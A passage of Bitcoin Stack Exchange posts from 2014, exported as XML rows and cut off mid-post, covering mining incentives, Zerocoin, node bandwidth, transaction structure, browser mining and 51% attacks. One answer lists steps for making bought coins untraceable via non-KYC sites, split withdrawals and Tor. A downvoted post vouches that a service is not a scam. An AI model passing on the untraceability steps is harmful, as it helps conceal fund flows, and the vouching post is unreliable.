  <row Id="32397" PostTypeId="2" ParentId="32381" CreationDate="2014-11-09T08:01:51.510" Score="3" Body="&lt;p&gt;Miners will naturally be inclined to include those transactions in their blocks that give them high transaction fees (though exceptions exist), because apart from the block reward from coinbase transaction, those are the only incentives for miners. So, whatever transactions have reached a miner through the network, her choices will be restricted among those transactions. At a particular time instance, different miners most likely have different snapshots of transactions available to them. So, the answer is no (with very very high probability).&lt;/p&gt;&#xA;" OwnerUserId="19182" LastEditorUserId="19182" LastEditDate="2014-11-09T18:19:56.003" LastActivityDate="2014-11-09T18:19:56.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32398" PostTypeId="2" ParentId="21968" CreationDate="2014-11-09T13:11:35.393" Score="2" Body="&lt;p&gt;In order to reach the testnet version of bitaddress you must append &lt;strong&gt;?testnet=true&lt;/strong&gt; to the url:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.bitaddress.org/bitaddress.org-v2.9.3-SHA1-7d47ab312789b7b3c1792e4abdb8f2d95b726d64.html?testnet=true&quot; rel=&quot;nofollow&quot;&gt;https://www.bitaddress.org/bitaddress.org-v2.9.3-SHA1-7d47ab312789b7b3c1792e4abdb8f2d95b726d64.html?testnet=true&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21000" LastActivityDate="2014-11-09T13:11:35.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32399" PostTypeId="2" ParentId="32356" CreationDate="2014-11-09T18:25:13.987" Score="-5" Body="&lt;p&gt;Every thing's OK. I make cointellect is not scam. I have proof and can withdraw via paypal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SKqWX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my contract im using here, it not a scam  &lt;img src=&quot;https://i.stack.imgur.com/LYnSd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="21004" LastEditorUserId="2306" LastEditDate="2014-11-09T18:42:24.087" LastActivityDate="2014-11-09T18:42:24.087" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="32402" PostTypeId="2" ParentId="30724" CreationDate="2014-11-09T19:06:14.993" Score="1" Body="&lt;p&gt;The process is basically as follows.&lt;br&gt;&lt;br&gt;&#xA;1. You generate a random serial number &lt;em&gt;S&lt;/em&gt; and a secret &lt;em&gt;r&lt;/em&gt;. &lt;em&gt;S&lt;/em&gt; will be used to denote a zerocoin. Then you create a commitment &lt;em&gt;C&lt;/em&gt; = f(&lt;em&gt;S&lt;/em&gt;,&lt;em&gt;r&lt;/em&gt;) s.t. without knowing both &lt;em&gt;S&lt;/em&gt; and &lt;em&gt;r&lt;/em&gt; it is very hard to get those back from &lt;em&gt;C&lt;/em&gt;. Then you disclose &lt;em&gt;C&lt;/em&gt; into the public channel.&lt;br&gt;&lt;br&gt;&#xA;2.To redeem the coin &lt;em&gt;S&lt;/em&gt; you disclose &lt;em&gt;S&lt;/em&gt; and give a proof that &lt;em&gt;S&lt;/em&gt; corresponds to some valid commitment in a set of large number of commitments (provided by you), say {C1, C2, ..., C, ..., Cn}. As you don't explicitly mention which commitment does &lt;em&gt;S&lt;/em&gt; correspond to, you retain your anonymity.&lt;br&gt;&lt;br&gt;&#xA;3. When other users verify that your proof is valid and the zerocoin &lt;em&gt;S&lt;/em&gt; is not already spent, then only you can spend the coin. You probably understand that &lt;em&gt;S&lt;/em&gt; needs to be revealed when spending money to prevent &lt;em&gt;double spending&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="19182" LastEditorUserId="19182" LastEditDate="2014-11-09T19:15:44.417" LastActivityDate="2014-11-09T19:15:44.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32403" PostTypeId="1" CreationDate="2014-11-09T22:45:03.373" Score="3" ViewCount="969" Body="&lt;p&gt;I'm fairly new to bitcoins and wanted to know if somebody could be traced easily in a situation like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Somebody buys btc with his/her own name&lt;/li&gt;&#xA;&lt;li&gt;Btc are sent to an address, an offline wallet, which already has some bitcoins in it. The wallet is not associated with his/her name, other than the fact that the btc the specific somebody bought are sent to that wallet.&lt;/li&gt;&#xA;&lt;li&gt;He/she sends all of the bitcoins from that wallet trough a mixing service via tor to some address.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There is one condition. It is known that he/she bought the bitcoins and had them sent to the address of that offline wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically: could it be proven that that somebody who bought the coins and had them sent to the offline wallet was the one who sent all of the wallet's coins to the final address?&lt;/p&gt;&#xA;" OwnerUserId="21008" LastActivityDate="2015-05-22T20:29:14.880" Title="Could somebody be traced in a situation like this?" Tags="|wallet|tor|mixing|traceability|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32409" PostTypeId="1" AcceptedAnswerId="32410" CreationDate="2014-11-10T01:52:47.270" Score="2" ViewCount="1156" Body="&lt;p&gt;I understand you have to download the entire blockchain and sync in the beginning but don't you also have to constantly keep the software on if you want to buy/sell stuff, which means more data being downloaded to my personal comp every instant there is a transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is true, what is the average amount of data per month being downloaded so that I can use bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if this is true, why isn't this point highlighted on bitcoin.org, they say you have to initially download the blockchain but not that its constantly going to be downloading data on your comp, data is expensive! &lt;/p&gt;&#xA;" OwnerUserId="21015" LastActivityDate="2014-11-11T06:27:41.973" Title="If using Bitcoin core client am I constantly going to be downloading data from the blockchain?" Tags="|blockchain|synchronization|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32410" PostTypeId="2" ParentId="32409" CreationDate="2014-11-10T02:47:27.780" Score="1" Body="&lt;p&gt;At the time of writing, the blockchain is 24 GB in size after 5 years. This is an expansion of 0.12 kilobytes per second. However, this does not represent all of the bandwidth used by the Bitcoin client: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The Bitcoin client also relays transactions and blocks it downloads.&lt;/li&gt;&#xA;&lt;li&gt;The protocol has overhead.&lt;/li&gt;&#xA;&lt;li&gt;Sometimes the Bitcoin client will download transactions that don't get into the blockchain.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I tested the amount of bandwidth that Bitcoin uses by measuring it using &lt;code&gt;bwm-ng&lt;/code&gt;, over the course of six and a half hours. I found that it uses 2.1 kilobytes per second, combining upload and download. Over a month, that would add up to 5.5 GB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that my Bitcoin client did not accept incoming connections, which would have changed the result significantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be an expensive amount of bandwidth. In that circumstance, you can use an alternative, like BlockChain.info, or MultiBit, both of which use almost no bandwidth.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-11-11T06:27:41.973" LastActivityDate="2014-11-11T06:27:41.973" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32411" PostTypeId="2" ParentId="32219" CreationDate="2014-11-10T04:53:27.783" Score="1" Body="&lt;p&gt;There was a &lt;a href=&quot;https://github.com/bitcoin/secp256k1/commit/ae6bc76e32016063a591399a7a2d7bac646603bc&quot; rel=&quot;nofollow&quot;&gt;breaking API change in libsecp256k1&lt;/a&gt; that hasn't been addressed in libbitcoin's master branch. It has been addressed on their &lt;a href=&quot;https://github.com/libbitcoin/libbitcoin/commit/aa39fd68b9042a341ae8a50bcd5941327a55acac&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;develop&lt;/code&gt; branch&lt;/a&gt; if you want to go down that road.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have had the most luck with mastercoin's &lt;a href=&quot;https://github.com/mastercoin-MSC/install-msc/blob/master/res/install-sx.sh&quot; rel=&quot;nofollow&quot;&gt;install-sx.sh&lt;/a&gt; script that pulls from older un-tagged commits that seem to work in harmony. &lt;/p&gt;&#xA;" OwnerUserId="21017" LastActivityDate="2014-11-10T04:53:27.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32412" PostTypeId="2" ParentId="32409" CreationDate="2014-11-10T05:55:31.683" Score="0" Body="&lt;p&gt;You don't need to run the software 24/7, it just needs to be up-to-date in order to use it when you need to use it, to catch up with a few days worth of blockchain data doesn't take long and wont use much bandwidth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each block is 1Mb or less (at the moment) and occurs once every 10 minutes (roughly). So block data is fairly negligible in terms of bandwidth used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as a full node you will also be peer-to-peer transmitting and receiving transactions and also supplying historical blocks to out-of-date peers. It's impossible to predict monthly data transfer because it depends on which peers you are connected to, but it's likely to be several gigabytes per month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also other options instead of running a full node, bitcoin.org details these. e.g. blockchain.info, Hive, Xapo, MultiBit, GreenAddress, etc. You could also rent a cheap VPS server to run a full node on and configure your local node to only connect to that which would save a lot of bandwidth by removing the peer-to-peer data.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-11-10T05:55:31.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32413" PostTypeId="2" ParentId="32403" CreationDate="2014-11-10T06:13:40.253" Score="1" Body="&lt;p&gt;Bitcoin addresses are pseudonymous, in other words they aren't linked to anybody's ID without that user somehow linking the address to their ID (for example by withdrawing from an exchange service where they have provided their ID to the exchange). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are various known tricks/tools to reveal IP addresses of transactions and to link various addresses to a wallet if they are all in the same actual wallet. Each have varying degrees of success. But at the end of the day if an address is used only once and isn't part of a wallet with other addresses in it, plus you use tools like Tor and mixing services it would be very difficult to link future addresses to the source address while still knowing for certain that the addresses belong to the same owner. Potentially impossible depending on the tools/services used. I'm not saying Bitcoin is anonymous, it's not at all, the entire transaction history of every address is entirely visible to every man, and his dog. But it is pseudonymous if used correctly and that's what is important for your question. The funds can be traced through the addresses, but tying the owner to those addresses is what's important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, note that this is not advice, but if you sent your identifiable purchased funds to an exchange, gambling site, dark net site, or other site that does not require ID verification. Then withdraw those funds in multiple transactions to different addresses in different wallets, using Tor or similar perhaps. Then those funds would be indistinguishable from the source funds in most cases. But, do your research if extreme privacy is important to you. Most of us are happy just pushing the funds through a simple mixer for a little bit of semi-privacy.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-11-10T06:13:40.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32414" PostTypeId="2" ParentId="24498" CreationDate="2014-11-10T06:24:13.647" Score="0" Body="&lt;p&gt;Both. Seems to me to be irrelevant which is faster/slower as the data needs to hit the coin network ASAP so if there's a slow link there's a slow link, whether it's between you and your p2pool or between the p2pool and the network it will still be the same delay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are running several miners then having the p2pool server locally may consolidate the data and reduce your bandwidth a little, which could help your blocks make it to the coin network faster. But I doubt it would make any difference unless you are running a lot of miners - and if you are then a &quot;crappy home DSL connection&quot; is not suitable given your investment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, if it's just a hobby mining enterprise, take the cheapest route.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-11-10T06:24:13.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32415" PostTypeId="1" CreationDate="2014-11-10T07:24:54.357" Score="2" ViewCount="427" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;Newbie alert ! Please let me know if this is not the right forum.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have spent time reading up on Bitcoin. I think, I understand now; but, would love to have it confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start with, we have a transaction, t1 as below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;t1 : {a1, 50.00 BTC, a2}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where, &#xA;t1 is the transaction that goes to the block-chain (ledger) for confirmation. &#xA;a1 is the input, for example, Mt Gox from whom 50.00 BTC were purchased. &#xA;a2 is the output address who purchased the bitcoins from Mt Gox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After t1 is confirmed, the unspent amount of a2 is 50.00 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let us say, a2 wants to send 40.00 BTC to a3 for some service. Then, a new transaction t2 is created as below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;t2 : {a1, 40.00 BTC, a3}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As before, t2 goes to block-chain awaiting confirmation. The input to t2 is a1, amount 40.00 BTC and the addressee (or recipient) is a3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are the following correct ?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;t2 has input address as a1 as described here - &lt;a href=&quot;http://www.coindesk.com/information/how-do-bitcoin-transactions-work/&quot; rel=&quot;nofollow&quot;&gt;What does a transaction look like?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Because t2 does not mention a2, the anonymity of a2 is preserved.&lt;/li&gt;&#xA;&lt;li&gt;t2 is confirmed because unspent balance of a2 at this point is 50.00 BTC. (Not sure how, but sounds like it.)&lt;/li&gt;&#xA;&lt;li&gt;After t2 is confirmed, unspent balance of a2 is 10.00 BTC.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For reference, I used the following.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;t1 : eac977ae6ee885b62c4756230f6bdd27ccfa7de215836e6f5fc379c66f4c6a81&#xA;a1 : 1LNWw6yCxkUmkhArb2Nf2MPw6vG7u5WG7q&#xA;a2 : 16fKtcRS2P57pH6dF5stJ4wF1SC4SzaMJK&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;t2 : c8a8db01733a4300ad14e1fd78ff776ec21260e7081dd48c7b2f5ad1a9a1da46&#xA;a3 : 1Cmerw473xaaNpR6T9Lo5DA6d99uXLe3gc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6975" LastActivityDate="2014-11-10T15:05:23.873" Title="A life-cycle of a transaction - correct?" Tags="|transactions|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32417" PostTypeId="2" ParentId="12453" CreationDate="2014-11-10T09:46:45.513" Score="1" Body="&lt;p&gt;There is a website called  &lt;a href=&quot;http://www.bitcoinmagnet.co.uk&quot; rel=&quot;nofollow&quot; title=&quot;Bitcoin Magnet&quot;&gt;Bitcoin Magnet&lt;/a&gt; that does exactly what you require. Check them out, they have good reviews. They convert a bank transfer containing your reference code into bitcoin (using Bitstamp) and send it automatically to your desired bitcoin address. You can therefore set up a standing order to buy on a regular basis. UK only.&lt;/p&gt;&#xA;" OwnerUserId="21019" LastActivityDate="2014-11-10T09:46:45.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32418" PostTypeId="2" ParentId="32409" CreationDate="2014-11-10T11:01:01.190" Score="0" Body="&lt;p&gt;Another solution (mostly for future readers of these answers) is getting your Bitcoin data from satellite or DVB broadcasts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DVB project currently piloting in Finland: &lt;a href=&quot;http://kryptoradio.koodilehto.fi/&quot; rel=&quot;nofollow&quot;&gt;http://kryptoradio.koodilehto.fi/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitSat project, under development: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=334701.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=334701.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2014-11-10T11:01:01.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32419" PostTypeId="2" ParentId="32415" CreationDate="2014-11-10T15:05:23.873" Score="1" Body="&lt;p&gt;Transacions don't have input and output addresses, they have input and output scripts. Addresses are just short-hand notation for particular scripts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When making a transaction, you don't just say what the input and output scripts are. You have to explicitly reference which UTXO (unspent transaction outputs) a transaction spends, and then you also make a set of new UTXOs. Each UTXO has an amount associated with it. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;t2 has input address as a1 as described here - What does a transaction look like?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If t2 is trying to spend the coins that were sent to it in t1, then it would need to reference t1 (not a1 or a2). Specifically, it would need to reference the UTXO in t1 that credited the a2 script.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Because t2 does not mention a2, the anonymity of a2 is preserved.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not really. Anonymity is only preserved by not linking your address to your name, such as by posting on a social media website. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;t2 is confirmed because unspent balance of a2 at this point is 50.00 BTC. (Not sure how, but sounds like it.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If t2 were confirmed, spending the UTXO made in t1, then, yes, it would be successful because the total inputs is more than the total outputs. Actually, it's total inputs are 10 BTC more than it's total outputs, so that 10 BTC would just go to the miners (and not be left on the 'address balance'). &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;After t2 is confirmed, unspent balance of a2 is 10.00 BTC.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not actually, like mentioned above, it doesn't really work like that. Transaction outputs are either completely spent or are unspent. So after t2, the output is completely spent. If the 10 BTC is not sent to another output in t2, then it is just assumed to be a very generous miner fee. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-11-10T15:05:23.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32421" PostTypeId="2" ParentId="30604" CreationDate="2014-11-10T21:14:26.380" Score="1" Body="&lt;p&gt;Shorting is normal trading transaction on real financial markets. Without shorting you would not be able to speculate and profit on price decline. Assume that btc price is 400 USD and you think that the price will go down. By shorting one bitcoin you simply borrow one bitcoin from some lender and sell the bitcoin for 400 USD. If your assumption is correct and price goes down, say to 100 USD, you buy that bitcoin back and return it to the lender. Your profit then is 400 - 100 = 300 USD.&lt;/p&gt;&#xA;" OwnerUserId="5964" LastActivityDate="2014-11-10T21:14:26.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32422" PostTypeId="1" CreationDate="2014-11-10T21:24:38.973" Score="1" ViewCount="941" Body="&lt;p&gt;Does anybody know what value &quot;timestamp&quot; in orderbook POST actually means?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The response is structured as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;bids (array)&lt;/li&gt;&#xA;&lt;li&gt;price (price)&lt;/li&gt;&#xA;&lt;li&gt;amount (decimal)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;timestamp (time)&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;asks (array)&lt;/li&gt;&#xA;&lt;li&gt;price (price)&lt;/li&gt;&#xA;&lt;li&gt;amount (decimal)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;timestamp (time)&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;documentation: &lt;a href=&quot;https://www.bitfinex.com/pages/api&quot; rel=&quot;nofollow&quot;&gt;Bitfinex API&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it say when the corresponding limit order entered the orderbook? Assuming that this is true, what if there are two limit orders at the same price level each of which entered the orderbook at different time? Will there be two orders at that price level or will it be groupped to one order with the latest (more recent) timestamp?&lt;/p&gt;&#xA;" OwnerUserId="5964" LastActivityDate="2017-07-17T11:22:51.127" Title="Bitfinex API - clarification of &quot;timestamp&quot; in orderbook API request" Tags="|api|bitfinex|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32423" PostTypeId="1" CreationDate="2014-11-11T00:41:14.560" Score="2" ViewCount="616" Body="&lt;p&gt;I have been using my Hivewallet on my laptop for over 3 months and not once has it asked me for my 12 security words. In the past I figured it had picked up my MAC address because all it ever asked for was my PIN. I recently had problem and all my newer folders have been destroyed and cannot be taken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping there would be a way I could still get into my folder. It has about $500-$550 worth of bitcoins and I did nothing wrong. I know everything that went on - even $750 worth or BTC that was taken only hours before the $500 of BTC was sent.&lt;/p&gt;&#xA;" OwnerUserId="21024" LastEditorUserId="12034" LastEditDate="2014-11-11T20:32:36.813" LastActivityDate="2015-07-13T12:32:25.357" Title="I don't have my 12 word question but I do have my PIN and my computers MAC address" Tags="|hive|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32424" PostTypeId="1" CreationDate="2014-11-11T01:43:49.047" Score="7" ViewCount="2120" Body="&lt;p&gt;Is it a good idea to mine a Scrypt-based cryptocurrency, like Dogecoin or Digitalcoin, using Javascript instead of having paid ads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script would mine using all computers visiting my website.&lt;/p&gt;&#xA;" OwnerUserId="21026" LastEditorUserId="6490" LastEditDate="2014-11-15T10:14:05.200" LastActivityDate="2019-06-21T10:30:34.983" Title="Can I mine cryptocurrency using Javascript?" Tags="|dogecoin|digitalcoin|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32425" PostTypeId="2" ParentId="32424" CreationDate="2014-11-11T02:08:48.113" Score="5" Body="&lt;p&gt;I don't quite understand your question.  Are you considering including on your website a Javascript script which will cause your visitors' browsers to mine Dogecoin for you?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not a good idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, it will likely be extremely ineffective.  Mining Dogecoin and other scrypt-based coins generally require a high-powered GPU and the ability to run code directly on it.  As far as I know, you can't do this through Javascript.  You can implement the mining algorithm in Javascript, and run it in the virtual machine, but it will run many orders of magnitude slower than on proper hardware.  I would not expect this to earn you any significant amount of money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, it will annoy your visitors.  Some may just notice that their computer runs slow when visiting your site.  Those who figure out what you are doing may consider that you're stealing their electricity.  Some would call this malware.  It would be a good way to get bad publicity for your site, or to be added to antivirus blacklists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you ask for their consent before running your script, it would avoid some of these issues, but I don't see why anyone would actually consent to this.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-11-11T02:08:48.113" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32426" PostTypeId="2" ParentId="32424" CreationDate="2014-11-11T04:31:04.077" Score="7" Body="&lt;p&gt;I see where you are coming from and I wouldn't be surprised on some systems if the user has less of a bad experience than ads (some sites filled with ads are simply unbrowseable for some). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, Javascript is not a quick language and you wont generate any coins worth generating, no pool will allow you to direct this sort of traffic to them in any significant quantity and if you run your own p2pool the bandwidth and other resources will far outweigh the coins mined. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a rough but educated guess that you'll probably generate about 1-2kh/s per user while they are on your site, meaning you'd need 250,000-300,000 simultaneous viewers to match a modern scrypt mining rig, take into account overheads and you're probably looking at more like 400-500,000 viewers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, don't do it. Your users will hate the site, it will lag video and audio and generally create a poor browsing experience meaning users won't stay on your site meaning you wont get the required hundreds of thousands of viewers. You may also get flagged for malware by Google etc. and like I say, pools wont accept it.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-11-11T04:31:04.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32427" PostTypeId="2" ParentId="32423" CreationDate="2014-11-11T04:40:34.417" Score="3" Body="&lt;p&gt;I'm pretty sure Hive is like the other web wallets in that they literally can't access your funds, they are encrypted. You would have been told in no uncertain terms to keep those 12 words safe and secure, it is not their fault if you haven't done that. Passwords are not recoverable on other web wallets either (e.g. blockchain.info).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck, there's a chance some polite emails to their support may yield something if you have enough info for them to investigate but don't be surprised if they can't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next time, store your funds somewhere safer and just keep day-to-day funds on the web wallet.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-11-11T04:40:34.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32428" PostTypeId="2" ParentId="32357" CreationDate="2014-11-11T04:47:06.507" Score="0" Body="&lt;p&gt;You would likely spend as much buying a couple of decent GPUs as you would buying a small mining rig for sha256/scrypt (i.e. Bitcoin/Litecoin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &quot;riser cables&quot; to connect a PCI-E GPU to your computer's motherboard without it being inside the case but there is a limit on how long these can be (safety / fire risk).. I think 12-15&quot; is about as long as they get realistically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI:  GPU mining doesn't need a powerful computer, any old computer will do so long as it has suitable PCI-E ports and a few Gb of RAM.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-11-11T04:47:06.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32432" PostTypeId="1" CreationDate="2014-11-11T15:04:03.553" Score="1" ViewCount="104" Body="&lt;p&gt;The Bitcoin Wiki states &quot;A profit-seeking person will always gain more by just following the rules, and even someone trying to destroy the system will probably find other attacks more attractive.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm always (!) wary when people claim &quot;always&quot; or &quot;never&quot;. Similarly I challenge the above statement, that seems quicker to try to reassure than to really analyze the validity of &quot;always&quot; in the context of being a good/bad actor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about the situation whereby some entity builds up a hugely leveraged short BTC position. e.g. say two nations took a HUGE bet each on opposite sides of the bitcoin price. Then the nation on the short side could secretly collude with a 51% miner to destroy the network and profit from the resulting BTC crash, kicking back to the miner a slice of the winnings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible? Impossible?&lt;/p&gt;&#xA;" OwnerUserId="14236" LastEditorUserId="5406" LastEditDate="2015-06-09T20:44:49.250" LastActivityDate="2015-06-09T20:44:49.250" Title="Profit possibility for colluding with 51% attacker" Tags="|security|hashpower|majority-attack|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32433" PostTypeId="2" ParentId="32432" CreationDate="2014-11-11T16:32:46.993" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The Bitcoin Wiki states &quot;A profit-seeking person will always gain more by just following the rules, and even someone trying to destroy the system will probably find other attacks more attractive.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The statement from the wiki has since been proven false. If a pool has a large enough percentage of the mining power, then it can follow 'selfish mining' procedures to earn more than it's fair share of the block rewards. This was introduced in this paper: &lt;a href=&quot;http://arxiv.org/abs/1311.0243&quot; rel=&quot;nofollow&quot;&gt;http://arxiv.org/abs/1311.0243&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is one reason your doubt in the wiki's claim is justified. The reason you cite, the two nations taking a bet on the price of a BTC, may be another possible case, but it doesn't seem very realistic to me. I'm not sure why any nation would take part in such a bet, and I think there would probably be more cost effective ways to lower the price of a BTC rather than engaging in a 51% attack. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-11-11T16:32:46.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32434" PostTypeId="2" ParentId="32432" CreationDate="2014-11-11T16:33:52.147" Score="1" Body="&lt;p&gt;Sure it's possible, but for how long would the miners want to continue mining for the 51% pool if it's destroying the exact same thing that is repaying them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also worth noting that a 51% attack can only do certain things such as double-spend and stop transactions from getting confirmed. The attacker cannot reverse transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Preventing transactions from gaining confirmations would surely cause a drop in the price, but soon miners would realize what's going on and the incentive mechanism would hopefully decentralize the mining once again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding slicing the winnings back to the miners, that's a really hard thing to setup. You'd have to convince an impossibly large portion of miners to trust you. From a technical point of view it's certainly achievable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many theoretical possibilities to boycott the bitcoin network, however none have proven to work from a practical point of view because in my opinion there are sociological, economical and even psychological factors that come at play in securing a decentralized p2p blockchain system.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" 